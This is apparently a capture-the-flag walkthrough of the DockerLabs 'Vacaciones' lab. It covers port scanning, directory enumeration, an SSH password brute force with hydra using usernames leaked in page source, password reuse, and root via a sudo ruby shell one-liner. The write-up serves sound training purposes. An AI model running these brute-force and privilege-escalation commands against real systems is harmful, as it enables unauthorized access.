Vacaciones

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CTF BootToRoot

A CTF (Capture The Flag) Boot To Root (B2R) is a type of cybersecurity challenge where participants are tasked with gaining unauthorized access to a computer system (the "Boot" part) and then obtaining and eventually capturing a specific flag or set of flags (the "Root" part). The flags could be strings of text, files, or other data that prove the participant has successfully compromised the system.

In these challenges, participants typically start with minimal information about the target system and have to use various techniques, including vulnerability analysis, exploitation, privilege escalation, and more, to gain access and ultimately root access to the system. The challenges often simulate real-world scenarios and are designed to test participants' skills in penetration testing, exploit development, reverse engineering, and other cybersecurity domains. They can be hosted online or in-person as part of cybersecurity competitions, training events, or educational exercises.

Task 1 - Deploy the machine

Install docker.io (if you do not already have it installed) -> sudo apt install docker.io

Download machine from DockerLabs website and setup lab:

  • unzip vacaciones.zip

  • sudo bash auto_deploy.sh vacaciones.tar

and we obtained IP machine -> 🎯 Target IP: 172.17.0.2

We can put the IP in the file to associate it with an easier to remember name:

su
echo "172.17.0.2 vacaciones" >> /etc/hosts

Create a directory for machine on a dedicated folder and subdir containing: nmap,content,exploits,scripts

mkdir -p DockerLabs/vacaciones
cd DockerLabs/vacaciones
mkdir {nmap,content,exploits,scripts}

# At the end of the Lab
CTRL + C #To stop running machine

sed -i '$ d' /etc/hosts # To clean up the last line from the /etc/hosts file

# To repair potential problem during activities
sudo systemctl restart docker
sudo docker stop $(docker ps -q)
sudo docker container prune -force

Task 2 - Reconnaissance and Exploitation

I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.

ping -c 3 vacaciones
64 bytes from upload (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from upload (172.17.0.2): icmp_seq=2 ttl=64 time=0.034 ms
64 bytes from upload (172.17.0.2): icmp_seq=3 ttl=64 time=0.040 ms

Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target is a *nix system, while Windows systems usually have a TTL of 128 secs.

2.1 Ports in listening and relative services

Of course, we start looking for information about our target by scanning the open ports with the nmap tool

nmap -Pn -n -p0- vacaciones
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

There're two open port (22, 80), analyze them searching more info about services version and potential vulns:

nmap -A -sVC -p 22,80 vacaciones -oN nmap/port_scan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 41:16:eb:54:64:34:d1:69:ee:dc:d9:21:9c:72:a5:c1 (RSA)
|   256 f0:c4:2b:02:50:3a:49:a7:a2:34:b8:09:61:fd:2c:6d (ECDSA)
|_  256 df:e9:46:31:9a:ef:0d:81:31:1f:77:e4:29:f5:c9:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
commandresult

sC

run default scripts

sV

enumerate versions

A

aggressive mode

Pn

no ping

oN

output to file with nmap formatting

As always we begin our exploration from port 80, where we know there is a web server, so we execute the whatweb command to extract more information and then view the content using the browser

whatweb http://vacaciones

The Apache version is older and vulnerable, we can verify it using searchsploit tool:

Let's display the default Apache page, there's a blank page, try analysing the source page with CTRL+U

We discover this information disclosure regarding two hypotetic usernames: Juan and Camilo, we'll use them later to try brute force attack via ssh (22).

2.2 Brute force hidden web directory

Continuing, we try to find potential hidden directory using gobuster:

gobuster dir -u http://vacaciones -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

We only find a web dir (/javascript), but going on it we haven't permission to access.

2.3 Brute force ssh credentials

Remembering that we've two pontetial username and the port 22 (SSH) opened, not knowing the password we could try a brute force attack with hydra.

I save the two usernames into a txt file: echo -e "camilo\njuan" >> users.txt

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt vacaciones ssh

Fantastic, we discovered the password, we use it to log in via SSH with the following command: ssh camilo@vacaciones

Task 3 - Privilege Escalation

Now that we are inside, since we are not root user we need to elevate our privileges, but we can't retrieve good info using sudo -l because we're not into sudoers

Remember the information disclosure, we try to find email locally find / -type f -name "*.txt" 2>/dev/null

and we retrieve the mail message that we are searching.

We know that ther're three users, then we can try to log in with each

Very good, password works for juan!

And user sudo -l we see that juan user has root permissions for /usr/bin/ruby, then we can use gtfobins to find it.

using ruby sudo command, we obtain a root permission sudo ruby -e 'exec "/bin/sh"'

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